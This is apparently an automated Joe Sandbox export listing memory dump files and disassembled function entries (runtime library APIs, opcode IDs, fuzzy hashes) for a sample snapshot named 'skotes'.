Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 3bda15d3c564666f5b57853c52f3f53df839d222856e8ce69b6e7026ad0ccbb2
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 8631C031B8C255BACF16AA784C927FFBBE59F47300F0401EAD495D7242EE244D4A8791

Function 00BB4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BB4877
___except_validate_context_record.LIBVCRUNTIME ref: 00BB487F
_ValidateLocalCookies.LIBCMT ref: 00BB4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00BB4933
_ValidateLocalCookies.LIBCMT ref: 00BB4988

Strings

csm, xrefs: 00BB491D

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 84a2739706256badd986a69b4fbcb20368683aa049836791e4b5d86ac17e2b17
Instruction ID: 6dce73c7251723ce7ca308e36bf2af044f287cb74739544ee2ebd35452f00d6e
Opcode Fuzzy Hash: 84a2739706256badd986a69b4fbcb20368683aa049836791e4b5d86ac17e2b17
Instruction Fuzzy Hash: F2419E34A00258AFCF10DF68D885AFEBBE5FF45324F148195E8189B3A3D7B19A15CB91

Function 00BADD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00BADD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00BADDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00BADE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00BADE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00BADE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00BADE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00BADE74

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 92253d95bbae65f91444f5f13c6997ff33f839162468447597405bd38936424c
Instruction ID: 757eafd2f884d6e4fb63a5cf2fa0d1e4c3eec474422012c1422d94c9e7e0486e
Opcode Fuzzy Hash: 92253d95bbae65f91444f5f13c6997ff33f839162468447597405bd38936424c
Instruction Fuzzy Hash: 9D418B30A0C2449ACF18FBA484957EC7BE1AF12704F1444F9E8926B6D3DB348E08CB62

Function 00BAE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00BAE7D7

Part of subcall function 00BAE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BAE577
Part of subcall function 00BAE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00BAE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BAE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00BAE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAE879
Concurrency::location::_Assign.LIBCMT ref: 00BAE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE8B5

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 5c3666228f1561bd1e5b99abfe48fd4474aa030e47ea2f5195c9f6e6e0ace985
Instruction ID: a62b4a620b70380898124a436990fa7df5e4adf1bd54f8a16c1ca48ab1544664
Opcode Fuzzy Hash: 5c3666228f1561bd1e5b99abfe48fd4474aa030e47ea2f5195c9f6e6e0ace985
Instruction Fuzzy Hash: 4A413875A04205AFCF00EF64C895BADB7F5FF49310F1480A9DD599B382DB34A941CBA1

Function 00B96E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B96ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00B96F22
std::_Rethrow_future_exception.LIBCPMT ref: 00B96F32
__Mtx_unlock.LIBCPMT ref: 00B96FD5
__Mtx_unlock.LIBCPMT ref: 00B970DB
__Mtx_unlock.LIBCPMT ref: 00B97116

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 59b3e6d497f97d937b2dc59740113be195fb3072a4e7a4720f1f14e23b73d03e
Instruction ID: dcd19c665096bd5ecd85d569024decd90dd54d951a47eeab23675b15a4c7a944
Opcode Fuzzy Hash: 59b3e6d497f97d937b2dc59740113be195fb3072a4e7a4720f1f14e23b73d03e
